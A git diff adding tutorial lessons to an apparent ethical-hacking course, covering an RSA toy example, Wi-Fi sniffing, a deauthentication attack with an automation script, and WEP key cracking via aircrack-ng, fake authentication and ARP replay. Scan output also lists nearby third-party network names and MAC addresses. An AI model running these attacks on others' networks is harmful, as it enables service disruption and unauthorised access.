+ I1 --> J[🔄 Message securely transmitted]
+ I2 --> J
+```
+
+### Toy Example (Small Numbers)
+
+⚠️ Don’t try this at home with real secrets — small numbers are too easy to crack. This is just a classroom demo.
+
+1. Pick primes:
+ \( p = 5, q = 11 \)
+
+2. Compute modulus:
+ \( n = 5 \times 11 = 55 \)
+
+3. Compute totient:
+ \( \varphi(55) = (5-1)(11-1) = 4 \times 10 = 40 \)
+
+4. Choose \( e = 3 \) (coprime with 40).
+
+5. Find \( d \): solve \( 3 \times d \equiv 1 \ (\text{mod } 40) \).
+ ✨ \( d = 27 \) works because \( 3 \times 27 = 81 \equiv 1 \ (\text{mod } 40) \).
+
+**Keys:**
+* Public = \((3, 55)\)
+* Private = \((27, 55)\)
+
+---
+
+**Let’s Encrypt a Message!**
+Say our message is \( M = 9 \).
+
+- **Encrypt:**
+ \[
+ C = 9^3 \ \text{mod } 55 = 729 \ \text{mod } 55 = 14
+ \]
+ 🔒 Ciphertext = **14**
+
+- **Decrypt:**
+ \[
+ M = 14^{27} \ \text{mod } 55 = 9
+ \]
+ ✅ Original message recovered!
+
+---
+
+### 🚨 When Does RSA Fail?
+
+RSA is strong in theory, but weak in practice if misused:
+
+* ⚡ **Small Primes:** Easy to factor → instant break.
+* 🤝 **Shared Primes:** If two people accidentally share a prime, both are broken.
+* 🔢 **Small Exponent Attack:** If \( e = 3 \) and no padding, small messages leak.
+* 🎲 **No Random Padding:** Textbook RSA is predictable. Modern fix = **OAEP**.
+* 🎰 **Weak Randomness:** Bad RNG → predictable primes.
+* 🕵️ **Side-Channel Attacks:** Timing/power leaks can reveal secrets.
+
+---
+
+### 📚 Further Reading
+* 🎥 [RSA Explained – Khan Academy](https://www.khanacademy.org/computing/computer-science/cryptography/modern-crypt/v/rsa-encryption-part-1)
+* 📝 [RSA in Practice – Practical Cryptography](http://practicalcryptography.com/asymmetric-key-cryptography/rsa/)
+* 📖 [Wikipedia: RSA Cryptosystem](https://en.wikipedia.org/wiki/RSA_(cryptosystem))
+
+---
+
+### 🎯 Key Takeaways
+* RSA = multiplication is easy, factoring is hard.
+* Public key = open lock, Private key = secret unlock.
+* Used for secure messages and signatures.
+* Needs **padding + randomness** to be safe in the real world.
+
+---
+
+### Path
+
+[Next Lesson: Network Hacking - Pre Connection Attacks](/lesson-02.md) ->
\ No newline at end of file
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-02.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-02.md
new file mode 100644
index 0000000..be97099
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-02.md
@@ -0,0 +1,301 @@
+---
+title: "Network Hacking - Pre Connection Attacks"
+slug: "lesson-02"
+order: 2
+category: "ethical-hacking"
+prev: "lesson-01"
+next: "lesson-03"
+---
+
+# Network Hacking - Pre Connection Attacks
+
+
+- [Network Hacking - Pre Connection Attacks](#network-hacking---pre-connection-attacks)
+ - [Packet Sniffing Basics](#packet-sniffing-basics)
+ - [Wifi Bands](#wifi-bands)
+ - [Targeted Packet Sniffing](#targeted-packet-sniffing)
+ - [Deauthentication Attack](#deauthentication-attack)
+ - [Path](#path)
+
+---
+
+
+
+## Packet Sniffing Basics
+
+- Packet sniffing is the process of capturing and analyzing network packets to gather information about the network traffic.
+- This is used to analyze and view detailed information about the network around us.
+- Now that we have monitor mode enabled on our wireless interface, we are able to capture all the wifi packets sent within our range.
+- We can capture them even if the packet is not directed to our device, if we are not connected to the target network, or without knowing the key/password of the target network.
+- Now all we need is a program that can capture and analyze these packets.
+
+>[!IMPORTANT]
+>The program we are using is `airodump-ng`, which is a part of the Aircrack-ng suite. It is a packet sniffer; a program designed to capture packets while in monitor mode. Iit allows us to see all the wireless networks around us, and show us detailed information about its MAC Address, its channel, its encryption, the clients connected to the network, and more.
+
+- To run the program use the command:
+
+ ```bash
+ root@kali:~# airodump-ng wlan0
+ ```
+
+- You will see output of the following nature:
+
+ ```bash
+ CH 12 ][ Elapsed: 18 s ][ 2025-07-25 12:32
+
+ BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
+
+ CE:82:A9:6D:BB:76 -59 3 0 0 11 260 WPA2 CCMP PSK Avik
+ 6E:00:3A:D1:68:5D -1 0 0 0 11 -1
+ 40:E1:E4:AD:79:7A -1 0 1 0 11 -1 WPA
+ DA:62:32:3D:2D:66 -1 0 0 0 4 -1
+ 8C:DC:02:8A:72:D0 -51 10 5 0 10 270 WPA2 CCMP PSK Nandhu12
+ 20:0C:86:43:98:98 -61 4 0 0 13 270 WPA2 CCMP PSK SM-2.4G
+ 22:0C:86:53:98:98 -64 8 0 0 13 270 WPA2 CCMP PSK www.excitel.com
+ 02:53:E5:00:C7:34 -54 21 0 0 11 180 WPA3 CCMP SAE OnePlus Nord CE 3 Lite 5G
+ 44:95:3B:88:24:70 -1 0 9 0 13 -1 WPA
+ 44:95:3B:88:14:C0 -43 18 0 0 13 270 WPA2 CCMP PSK Goldenenclave603
+
+ BSSID STATION PWR Rate Lost Frames Notes Probes
+
+ (not associated) 22:DC:83:2C:B5:D2 -33 0 - 1 8 2
+ (not associated) BA:0E:F0:A2:CC:4F -65 0 - 1 0 1 ZTE_2.4G_cCGVZc
+ Quitting...
+ ```
+
+- Now, let's analyze the output to understand what it's actually showing:
+
+ - **ESSID**: The name of the wireless network.
+ - **BSSID**: The MAC address of the target network.
+ - **PWR**: The signal strength of the network.
+ - **Beacons**: The number of beacon frames sent by the network in order to announce its presence.
+ - **#Data**: The number of data packets captured from the network.
+ - **#/s**: The number of data packets captured per second.
+ - **CH**: The channel on which the network broadcasts and receives on.
+ - **MB**: The maximum speed of the network.
+ - **ENC**: The encryption type used by the network (e.g. WPA2, WPA3).
+ - **CIPHER**: The cipher used for encryption.
+ - **AUTH**: The authentication method used by the network (e.g. PSK)
+
+## Wifi Bands
+
+- The band of the network defines what frequency it can use to broadcast the signal. This means it also defines the frequency that the clients or the computers need to be able to support and use in order to be able to connect to this network.
+- The main bands used in WiFi networks are `2.4GHz` and `5GHz`.
+- When we initially executed the `airodump-ng` command, we saw the networks listed but they were all 2.4GHz networks. Although the wireless adapter we are using supports both the 2.4GHz and 5GHz bands, its default channel is set to 2.4GHz.
+- To see the networks on the 5GHz band, we can use the `--band` option with `airodump-ng`:
+- So, the modified command would be:
+
+ ```bash
+ root@kali:~# airodump-ng --band abg wlan0
+ ```
+
+ `a` stands for 5GHz and `b` stands for 2.4GHz.
+ `abg` means we want to see both 2.4GHz and 5GHz networks.
+
+ The output will show the networks on the 5GHz band networks as well.
+
+ ```bash
+ CH 60 ][ Elapsed: 1 min ][ 2025-07-25 12:54
+
+ BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
+
+ BA:DD:71:A2:6B:FE -1 0 3 0 1 -1 WPA
+ 02:53:E5:00:C7:34 -60 7 0 0 11 180 WPA3 CCMP SAE OnePlus Nord CE 3 Lite 5G
+ CE:82:A9:6D:BB:76 -59 2 0 0 11 260 WPA2 CCMP PSK Avik
+ B4:3D:08:2D:91:40 -81 18 0 0 149 866 WPA2 CCMP PSK Rahul Agarwal_5G
+ 44:95:3B:88:14:C1 -63 21 1 0 60 866 WPA2 CCMP PSK Goldenenclave603
+ CE:82:A9:6D:BB:77 -89 22 0 0 44 1560 WPA2 CCMP PSK Avik
+ 30:DE:4B:B5:3C:19 -89 25 0 0 40 390 WPA2 CCMP PSK RakshaDeepak_5g
+ 6C:4F:89:16:4F:FA -85 24 0 0 40 866 WPA2 CCMP PSK Airtel_Sathvik
+ 32:42:40:E6:AE:18 -71 0 3 0 9 -1 WPA
+ 44:95:3B:88:14:C0 -50 12 0 0 13 270 WPA2 CCMP PSK Goldenenclave603
+ 8C:DC:02:8A:72:D0 -51 5 7 0 10 270 WPA2 CCMP PSK Nandhu12
+ 22:0C:86:53:98:98 -61 5 0 0 13 270 WPA2 CCMP PSK www.excitel.com
+ 6E:00:3A:D1:68:5D -1 0 0 0 13 -1
+ 44:95:3B:88:24:70 -1 0 35 0 13 -1 WPA
+ 20:0C:86:43:98:98 -61 5 4 0 13 270 WPA2 CCMP PSK SM-2.4G
+ Quitting...
+
+ ```
+
+- We see many more networks than before because we can see the networks on the 5GHz band as well.
+- Keep in mind that in order to sniff data on the 5GHz frequency, your wireless adapter must support the 5GHz band. If it doesn't, you won't be able to see the networks on that band.
+
+## Targeted Packet Sniffing
+
+- In order to capture packets from a specific network, we can use the `--bssid` option with `airodump-ng` command.
+- The `--bssid` option allows us to specify the MAC address of the target network we want to capture packets from.
+- We modify our command to be:
+
+ ```bash
+ root@kali:~# airodump-ng --bssid --channel --write wlan0
+ ```
+
+- This command will capture packets from the specified `bssid` or `MAC Address` of the target network, on the specified `channel`, and save the captured packets to a file with the given `filename` using `wlan0` as the wireless interface.
+
+- When we run a command like this, we get the following output:
+
+ ```bash
+ root@kali:~# airodump-ng --bssid 8C:DC:02:8A:72:D0 --channel 12 --write test wlan0
+ 20:28:55 Created capture file "test-02.cap".
+
+ CH 12 ][ Elapsed: 1 min ][ 2025-07-25 20:30
+
+ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
+
+ 8C:DC:02:8A:72:D0 -53 25 127 12 0 10 270 WPA2 CCMP PSK Nandhu12
+
+ BSSID STATION PWR Rate Lost Frames Notes Probes
+
+ 8C:DC:02:8A:72:D0 7E:17:D7:1F:44:6A -71 0 - 1e 20 114
+ 8C:DC:02:8A:72:D0 5E:C6:31:F2:E5:D9 -65 1e- 1e 50 425
+ 8C:DC:02:8A:72:D0 DE:98:79:03:DF:F8 -61 0 - 1e 33 720
+ 8C:DC:02:8A:72:D0 3E:05:F8:C8:B2:47 -61 0 - 1 7 374
+ Quitting...
+ ```
+
+- We have some new files in our current working directory, which contain the data that we captured. If we do `ls -a`, we will see the following files:
+
+ ```bash
+ root@kali:~# ls -a
+ . .face .python_history Public test-01.log.csv
+ .. .face.icon .ssh PycharmProjects test-02.cap
+ .BurpSuite .gvfs .viminfo Templates test-02.csv
+ .bash_history .java .zenmap Videos test-02.kismet.csv
+ .bash_logout .local .zshrc bettercap.history test-02.kismet.netxml
+ .bashrc .maltego Desktop go test-02.log.csv
+ .bashrc.original .mariadb_history Documents test-01.cap
+ .cache .mozilla Downloads test-01.csv
+ .config .profile Music test-01.kismet.csv
+ .dbus .profile.bak Pictures test-01.kismet.netxml
+ ```
+
+- We have a `csv` file, a `cap` file, a `kismet.netxml` file, and a `kismet.csv` file. The main file that we will be using here is the `cap` file.
+- The `cap` file contains the data that we captured from the target network during the period. It should contain everything that was sent to/from the target network during that time. It should contain URLs, chat messages, usernames, passwords or anything that any of these devices did on the internet, because anything that they have to do will have to be sent to the router.
+- The only problem is that our target network is encrypted with `WPA2`, which means that the data is encrypted and we cannot read it directly.
+- But we can analyze the packets using a tool called `Wireshark`, which is a network protocol analyzer that can read and analyze the packets in the `cap` file.
+
+## Deauthentication Attack
+
+- The Deauthentication attack allows us to disconnect a client from a wireless network by sending deauthentication frames to the target client.
+- For this we will be pretending to be the client that we want to disconnect by changing our MAC Address to the MAC Address of the client, and tell the router that we want to disconnect from it. Then we are going to pretend to be the router, by changing our MAC Address to the MAC Address of the router, and tell the client that we want to disconnect it.
+- This will successfully allow us to disconnect or deauthenticate any client from any network.
+
+- For this we will be using the `aireplay-ng` command, which is a part of the `aircrack-ng` suite. It allows us to send deauthentication frames to the target client.
+
+- In order to do so, use the command:
+
+ ```bash
+ root@kali:~# aireplay-ng --deauth 100000000 -a -c -D wlan0
+ ```
+
+ - Remove `-D` if the target network is 2.4GHz Network.
+
+- I tested this on my mobile, and my mobile got disconnected from the network. It tried to reconnect to the network, but it failed to do so. It kept trying to reconnect for a while, but it failed to do so.
+
+- Below are the logs:
+
+ ```bash
+ root@kali:~# aireplay-ng --deauth 100000000 -a WIFI_MAC -c MOBILE_MAC -D wlan0
+ 21:12:19 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [53|68 ACKs]
+ 21:12:20 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [ 0|63 ACKs]
+ 21:12:20 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [ 0|63 ACKs]
+ 21:12:21 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [ 0|64 ACKs]
+ 21:12:21 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [ 0|64 ACKs]
+ ```
+
+- To confirm this we also run the `airodump-ng` command again to see how the packets are being lost, along with screenshots of the mobile trying to reconnect to the network:
+
+ ```bash
+ root@kali:~# airodump-ng --bssid WIFI_MAC --channel 36 wlan0
+
+ CH 36 ][ Elapsed: 24 s ][ 2025-07-25 21:17 ][ WPA handshake: WIFI_MAC
+
+ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
+
+ WIFI_MAC -19 57 236 52 0 36 780 WPA2 CCMP PSK WIFI_NAME
+
+ BSSID STATION PWR Rate Lost Frames Notes Probes
+
+ WIFI_MAC MOBILE_MAC -19 6e- 1e 698 1102 EAPOL WIFI_NAME
+ WIFI_MAC DEVICE1_MAC -55 6e- 6e 0 93
+ WIFI_MAC DEVICE2_MAC -28 6e-24 0 54
+ Quitting...
+ ```
+
+ 
+
+- Let's write down a Python script to automate this process of deauthentication attack. The script will take the wireless interface name, target client MAC address, and gateway (AP) MAC address as input and perform the deauthentication attack.
+
+ ```python
+ # Deauthentication Attack Script
+ # This script performs a deauthentication attack on a specified Wi-Fi network.
+
+ import os
+ import subprocess
+ def deauth_attack(interface, target_mac, gateway_mac):
+ print(f"[+] Starting deauthentication attack on {target_mac} via {gateway_mac} using {interface}")
+
+ # Construct the command for the deauthentication attack
+ command = [
+ "sudo", "aireplay-ng", "--deauth", "100000000", "-a", gateway_mac, "-c", target_mac, interface
+ ]
+
+ # Execute the command
+ subprocess.call(command)
+
+
+ # Example usage
+ if __name__ == "__main__":
+ # Fetch the interface name using iwconfig command
+ interface = input("Enter the interface name (e.g., wlan0): ")
+ target_mac = input("Enter the target MAC address (victim): ")
+ gateway_mac = input("Enter the gateway (AP) MAC address: ")
+ print(f"[+] Initiating Deauthentication attack on {target_mac} via {gateway_mac} using {interface}")
+ deauth_attack(interface, target_mac, gateway_mac)
+ print("[+] Deauthentication attack completed")
+
+ ```
+
+ Python Script logs:
+
+ ```bash
+ (.venv) root@kali:~/PycharmProjects/hacking-tutorial# python deauth_attack.py
+ Enter the interface name (e.g., wlan0): wlan0
+ Enter the target MAC address (victim): MOBILE_MAC
+ Enter the gateway (AP) MAC address: WIFI_MAC
+ [+] Initiating Deauthentication attack on MOBILE_MAC via WIFI_MAC using wlan0
+ [+] Starting deauthentication attack on MOBILE_MAC via WIFI_MAC using wlan0
+ 23:31:45 Waiting for beacon frame (BSSID: WIFI_MAC) on channel 36
+ 23:31:45 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [51|69 ACKs]
+ 23:31:46 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [ 0|63 ACKs]
+ 23:31:47 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [ 0|63 ACKs]
+ 23:31:47 Sending 64 directed DeAuth (code 7). STMAC: [MOBILE_MAC] [ 0|63 ACKs]
+ ```
+
+ `airodump-ng` output:
+
+ ```bash
+ root@kali:~# airodump-ng --bssid WIFI_MAC --channel 36 wlan0
+ CH 36 ][ Elapsed: 1 min ][ 2025-07-25 23:31
+
+ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
+
+ WIFI_MAC -19 58 926 98 0 36 780 WPA2 CCMP PSK WIFI_NAME
+
+ BSSID STATION PWR Rate Lost Frames Notes Probes
+
+ WIFI_MAC DEVICE1_MAC -45 6e- 6e 0 159
+ WIFI_MAC DEVICE2_MAC -27 6e-24 0 224
+ WIFI_MAC MOBILE_MAC -25 6e- 1e 1696 1347 WIFI_NAME
+ Quitting...
+ ```
+
+- The `Probe` showing the `WIFI_NAME` is the mobile trying to reconnect to the network. It is sending probe requests to the network but it is not able to connect to the network because we have disconnected it using the deauthentication attack.
+
+
+---
+
+### Path
+
+<- [Previous Lesson: Ethical Hacking for Beginners](/lesson-01.md) | [Next Lesson: Network Hacking: Gaining Access WEP Cracking](/lesson-03.md) ->
\ No newline at end of file
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-03.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-03.md
new file mode 100644
index 0000000..ce9dece
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-03.md
@@ -0,0 +1,304 @@
+---
+title: "Network Hacking - Gaining Access WEP Cracking"
+slug: "lesson-03"
+order: 3
+category: "ethical-hacking"
+prev: "lesson-02"
+next: "lesson-04"
+---
+
+# Network Hacking - Gaining Access WEP Cracking
+
+
+- [Network Hacking - Gaining Access WEP Cracking](#network-hacking---gaining-access-wep-cracking)
+ - [Theory behing cracking WEP Encryption](#theory-behing-cracking-wep-encryption)
+ - [WEP Capturing Basics](#wep-capturing-basics)
+ - [Fake Authentication Attack](#fake-authentication-attack)
+ - [ARP Request Replay Attack](#arp-request-replay-attack)
+ - [Path](#path)
+
+---
+
+
+
+- Everything we did so for now didn't require us to have access/connection to the network.
+- Now, once we connect to the network, we can not only start to see the data being transmitted, but we can also start to manipulate it.
+
+---
+
+## Theory behing cracking WEP Encryption
+
+- WEP stands for Wired Equivalent Privacy.
+- It is an older security protocol designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what is usually expected of a wired LAN.
+- It uses RC4 algorithm for encryption.
+- It is still used in some older netowrks, and can be cracked in a matter of minutes.
+
+```mermaid
+flowchart LR
+ A[Source Device] --> B["WEP Encryption - RC4 Algorithm"]
+ B --> C[Encrypted Data Packet]
+ C --> D[Wireless Transmission]
+ D --> E[Access Point / Router]
+ E --> F[Wireless Transmission]
+ F --> G[Destination Device]
+ G --> H["WEP Decryption - RC4 Algorithm"]
+ H --> I[Original Data]
+ I --> J[Destination Device]
+```
+
+```mermaid
+sequenceDiagram
+ participant Source as Source Device
+ participant AP as Access Point / Router
+ participant Dest as Destination Device
+
+ Source->>Source: Data to send
+ Source->>Source: WEP Encryption (RC4 Algorithm)
+ Source->>AP: Encrypted Data Packet (wireless)
+ AP->>Dest: Encrypted Data Packet (wireless)
+ Dest->>Dest: WEP Decryption (RC4 Algorithm)
+ Dest->>Dest: Original Data
+```
+
+- So, how it basically works is if a Client wants to send something to the router, let's say some kind of text data, it will encrypt this using a key. Therefore this normal text will be converted into gebrish.
+- This encrypted packet will be sent in the air, so if a hacker captures this packet it will completely appear as gibberish to him, even though it contians some useful information.
+- The access point will recieve this encrypted packet, and it will decrypt it using the same key that was used to encrypt it. And, hence the router will be able to read the original text data.
+- The same happens if the router wants to send something to the client, it will first encrypt it using a key, send it to the client, and the client will be able to decrypt it because it has the key. So, the concept is always the same, the transmitter encrypts the data using a key, and the receiver decrypts it using the same key.
+
+- So, than where's the vulenrability? The way RC4 alogirthm works is actually fine, the problem is with the way WEP implements this algorithm.
+
+- To understand this better let's zoom in to the process deeply:
+
+ - So, going back to the first step we have client trying to send some data to the router. Let's keep the assumption that the data sent is a text message.
+ - In order to encrypt this, WEP tries to generate a unique key for each packet. So, literally each packet sent into the air, it tries to create a unique key for it.
+ - To do that, it generates a 24 bit random number called an Initialization Vector (IV). The IV is than added to the password of the network. This generates a key stream, and than this key stream is used to encrypt the packet, and transform it into gebrish.
+ - But, before sending this into the air, WEP will also append the IV to the packet. The reason why it does so is so that once the router recieves the packet, it needs to be able to decrypt it, and to do so it need the key and the IV. But, the router already has the key no need to send that, therefore we just need to send the IV.
+ - So, when the router recieves the packet, it has the IV, it has the password, so it can generate the key stream, and than use it to transform the gebrish data into it's orignal form, and read the packet.
+
+ ```mermaid
+ sequenceDiagram
+ participant Client as Client
+ participant Air as Wireless Transmission
+ participant Router as Router
+
+ Client->>Client: Prepare Text Message
+ Client->>Client: Generate 24-bit IV
+ Client->>Client: Combine IV + Password → Key Stream
+ Client->>Client: Encrypt Text Message with Key Stream → Ciphertext
+ Client->>Client: Append IV to Ciphertext
+ Client->>Air: Send [IV + Ciphertext] over air
+ Air->>Router: Deliver [IV + Ciphertext]
+ Router->>Router: Extract IV from Packet
+ Router->>Router: Combine IV + Password → Key Stream
+ Router->>Router: Decrypt Ciphertext with Key Stream → Original Text
+ Router->>Router: Read Original Text
+ ```
+
+- Now, I guess we can see the problem here. The IV is only 24 bits long, which means it can only have 2^24 different values, which is around 16 million values. This means that if we send enough packets, we will eventually start to repeat the IVs.
+- IVs are really short only 24bits, that too sent in plain text.
+- If, we are on a busy network IVs will repeat, this makes WEP vulnerable to statistical attacks.
+- Repeated IVs let's you easily determine the key stream used to encrypt the data, and break the encryption.
+
+ ```mermaid
+ flowchart LR
+ IV["IV - 24 bits"] --> WEP["WEP Packet"]
+ Data["Encrypted Data / Ciphertext"] --> WEP
+ ICV["ICV - Integrity Check Value, 32 bits"] --> WEP
+ ```
+
+## WEP Capturing Basics
+
+- In order to crack WEP, we need to capture large number of packets from the network.
+- Analyze the captured packets using `aircrack-ng` to find the key.
+- First use the command `airodump-ng` to see the available networks and clients.
+
+ ```bash
+ airodump-ng wlan0 --band abg
+ ```
+
+- Once, listed look for the network with WEP Encryption, and note down the BSSID (MAC address of the access point) and the channel it is on.
+- One of the key requirements for this attack to be succesfull is this must be a busy network, so that we can capture enough packets.
+
+>[!WARNING]
+> If the network is idle the process can be a little more complex, and may require you to use some other techniques like ARP request replay attack, or fake authentication attack to generate more traffic.
+
+- Copy the BSSID and channel of the `target network` using `WEP` encryption.
+- Now, we can start capturing packets using `airodump-ng` command.
+
+ ```bash
+ root@kali:~# airodump-ng --bssid -c -w capture wlan0
+ ```
+ The Output will look something like this:
+
+ ```bash
+ root@kali:~# airodump-ng --bssid MAC_WIFI -c 36 -w capture wlan0
+ 06:12:59 Created capture file "capture-01.cap".
+
+
+ CH 36 ][ Elapsed: 4 hours 31 mins ][ 2025-07-27 10:44
+
+ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
+
+ MAC_WIFI -20 0 131951 22978 127 36 54e WEP WEP
+
+ BSSID STATION PWR Rate Lost Frames Notes
+ Quitting...
+ ```
+
+>[!NOTE]
+>Wait for some time to capture enough packets, the number of packets should be `at least 1000000`, anything less than that may not be enough to crack the WEP key.
+
+- Now, we will run `aircrack-ng` command to crack the WEP key against the `.cap` file we just created.
+
+ ```bash
+ root@kali:~# aircrack-ng capture-01.cap
+ ```
+
+- You will see the output similar to this:
+
+ ```bash
+ root@kali:~# aircrack-ng capture-01.cap(20480) FE(20480) 50(19712)
+ Reading packets, please wait...9712) 76(19712) 77(19712) 7B(19456)
+ Opening capture-01.cap
+ Read 11636874 packets.
+ Got 16695 out of 15000 IVsStarting PTW attack with 16695 ivs.ID ESSID Encryption
+
+ 1 WIFI_MAC WIFI_NAME WEP (16695 IVs)
+
+ Choosing first network as target.
+
+ Reading packets, please wait...
+ Opening capture-01.cap
+ Read 11636874 packets.
+
+ 1 potential targets
+
+ Attack will be restarted every 5000 captured ivs.
+
+
+ Aircrack-ng 1.7
+
+ Aircrack-ng 1.7
+ [00:00:00] Tested 1244161 keys (got 14262 IVs)
+ Aircrack-ng 1.7
+ KB depth[00:00:00] Tested 1526401 keys (got 14262 IVs)
+ 0 7/ 8 DB(18944) 1Aircrack-ng 1.7 2) F4(17920) 58(17664)
+ KB depth[00:00:00] Tested 1666401 keys (got 14262 IVs)
+ 0 7/ 8 DB(18944) 1Aircrack-ng 1.7 2) F4(17920) 58(17664)
+ KB depth[00:00:01] Tested 1048577 keys (got 16695 IVs)
+ 0 5/ 8 6D(19456) 3Aircrack-ng 1.7 4) 19(18432) 2C(18432)
+ KB depth[00:00:01] Tested 1376257 keys (got 16695 IVs)
+ 0 1/ 2 B8(22784) 5Aircrack-ng 1.7 6) 6D(22016) 10(21760)
+ KB depth[00:00:02] Tested 2686977 keys (got 16695 IVs)
+ 0 0/ 2 29(22784) BAircrack-ng 1.7 2) 2A(22016) 6D(22016)
+ KB depth[00:38:38] Tested 1179649 keys (got 17411 IVs)
+ 0 0/ 2 29(227Got 2Aircrack-ng 1.7 0 IVsStarting PTW attack with 2000KB depth[00:38:38] Tested 1441793 keys (got 17411 IVs)
+ 0 0/ 2 2A(24064) 5Aircrack-ng 1.7 4) 3A(22784) F2(22784)
+ KB depth[00:38:38] Tested 1441793 keys (got 17411 IVs)
+ 0 0/ 1 2A(24064) 5F(23808) 29(22784) 3A(22784) F2(22784)
+ KB depth[00:38:38] Tested 6006 keys (got 17411 IVs)
+ 0 0/ 1 2A(24064) 5F(23808) 29(22784) 3A(22784) F2(22784)
+ KB depth byte(vote)F5(22784) 94(22528) 3A(22272) 10(22016)
+ 0 0/ 16 2A(24064) 5F(23808) 29(22784) 3A(22784) F2(22784)
+ 1 16/ 18 E4(20736) 76(20480) 84(20480) AC(20480) BB(20480)
+ 2 10/ 11 71(21760) AB(20992) BD(20992) BE(20992) 21(20736)
+ 3 0/ 2 4B(28160) 46(25344) 9B(24576) 72(24064) F0(23552)
+ 4 0/ 1 4D(26624) 8A(22784) 09(22528) 7B(22528) 1B(22016)
+
+ KEY FOUND! [ 2A:4C:71:4B:4D ] (ASCII: *LqKM )
+ Decrypted correctly: 100%
+ ...
+
+- We can now use `2A:4C:71:4B:4D` or `*LqKM` to connect to the network.
+
+- To use `XX:XX:XX:XX:XX:XX` remove the colons and use it as the password to connect to the network.
+
+- **Proof, this image will take you to the video where you can see me enter hex password on mobile device and connect to the network:**
+
+ [](https://youtu.be/sLQRBuHkpw4)
+
+## Fake Authentication Attack
+
+- Now, let's work on the issue of idle networks. Let's say the target network is not busy enough, and we are not able to capture enough packets to crack the WEP key.
+- One solution is either we have to wait long enough to capture enough packets, or we can force AP(Access Point) to generate new IVs.
+- Now, before doing this we need to associate with this network. So, what I mean by associate is we need to tell this network that we want to communuicate with it, because by default access points ignore any requests that they get unless the device has connected to the network, or associated with it. Remember, we are not connected to the network yet, we are just trying to associate with it.
+
+- First start by running `airodump-ng` command on the target network to see the clients connected to it.
+
+ ```bash
+ root@kali:~# airodump-ng --bssid -c --write capture wlan0
+ ```
+
+- Now, to associate to this network we will use a program called `aireplay-ng`. This program is used to inject packets into the network, and it can also be used to associate with the network.
+
+- For sending the association request we will use the following command:
+
+ ```bash
+ root@kali:~# aireplay-ng --fakeauth 0 -a -h wlan0
+ ```
+
+>[!IMPORTANT]
+> The first 12 characters of the `unspec` is the MAC Address of the hacker's adapter, obtained by using the command `ifconfig`.
+
+- Replace the `-` with `:` in the MAC address, and use it as the `-h` parameter.
+
+- As soon as we run this command, the `auth` will show as `OPN` in the `airodump-ng` output, which means we have successfully associated with the network. And, there will be a new client associated with the network, which is us.
+
+ So, now we are associated with the network, and if we send anything, it's going to accept it, and communicate with us. But, we are not connected to the network yet, we are just associated with it.
+
+### ARP Request Replay Attack
+
+- Now, that we are associated with the network, we can start communicating with it, without getting ignored. So, now we can go and, start injecting packets into the traffic to force the access point to generate new IVs.
+
+- This will increase the data really really quickly allowing us to capture enough packets to crack the WEP key.
+
+- There are many ways to do this, but one of the most common ways is to use ARP request replay attack, which is the most reliable way to generate traffic on the network.
+
+- The idea behind this method is to wait for an ARP Packet.
+
+>[!IMPORTANT]
+> ARP stands for Address Resolution Protocol, and it is used to map IP addresses to MAC addresses. It is used to resolve the MAC address of a device on the network, given its IP address.
+
+- Once, this packet is sent to the network, we are going to capture it, and retransmit it. Once, we do this, the router is forced to generate a new packet with new IV.
+
+- By repeating this process, we will be forcing the router to contnuously generate new packets with new IVs. Than once we have enough packets, we can crack the WEP key.
+
+- We can do this attack using the command:
+
+ ```bash
+ root@kali:~# aireplay-ng --arpreplay -b -h wlan0
+ ```
+
+ The output will look like this:
+
+ ```
+ [TIME] Waiting for beacon frame (BSSID: ) on chanbel
+ Saving ARP requests in file: something.cap
+ You should also start airodump-ng to capture replies.
+ Read XXXXXX packets (got XXXXX ARP requests and XXX ACKs), sent XXXX Packers...(XXX pps)
+ ```
+
+ Actual output looks like this:
+
+ ```bash
+ root@kali:~# aireplay-ng --arpreplay -b WIFI_MAC -h WIRELESS_ADAPTER_MAC wlan0
+ 06:07:29 Waiting for beacon frame (BSSID: WIFI_MAC) on channel 36
+ Saving ARP requests in replay_arp-0727-060729.cap
+ You should also start airodump-ng to capture replies.
+ Read 0 packets (got 0 ARP requests and 0 ACKs), sen
+ Read 2 packets (got 0 ARP requests and 0 ACKs), sen
+ Read 23 packets (got 0 ARP requests and 0 ACKs), se
+ Read 33 packets (got 0 ARP requests and 2 ACKs), se
+ Read 37 packets (got 0 ARP requests and 2 ACKs), se
+ Read 48 packets (got 0 ARP requests and 2 ACKs), se
+ Read 49 packets (got 0 ARP requests and 2 ACKs), se
+ Read 55 packets (got 0 ARP requests and 2 ACKs), se
+ ```
+
+- `-b` is the BSSID of the target network, and `-h` is the MAC address of the hacker's adapter.
+
+---
+
+### Path
+
+<- [Previous Lesson: Network Hacking - Pre Connection Attacks](/lesson-02.md) | [Next Lesson: Network Hacking - Gaining Access - WPA/WPA2 Cracking](/lesson-04.md) ->
\ No newline at end of file
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-04.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-04.md
new file mode 100644
index 0000000..7d64170
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-04.md
@@ -0,0 +1,732 @@
+---
+title: "Network Hacking - Gaining Access - WPA/WPA2 Cracking"
+slug: "lesson-04"
+order: 4
